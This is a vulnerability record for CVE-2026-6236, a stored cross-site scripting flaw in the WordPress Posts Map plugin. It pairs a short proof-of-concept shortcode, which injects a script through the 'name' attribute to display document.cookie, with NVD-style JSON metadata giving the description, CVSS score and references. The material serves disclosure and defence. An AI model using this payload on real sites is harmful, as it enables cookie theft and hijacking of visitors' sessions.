CVE-2026-6236

<!-- PoC for CVE-2026-6236: Stored XSS in WordPress Posts Map Plugin --> <!-- Usage: Add this shortcode to a post/page with Contributor-level access --> [posts_map name='"><script>alert(document.cookie);</script><div class="xss']

{"cve": {"id": "CVE-2026-6236", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:26.400", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' shortcode attribute in all versions up to, and including, 0.1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/posts-map/tags/0.1.3/posts-map.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/posts-map/tags/0.1.3/posts-map.php#L78", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/posts-map/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e02c5817-7a54-4958-a076-71e5e7729cda?source=cve", "source": "[email protected]"}]}}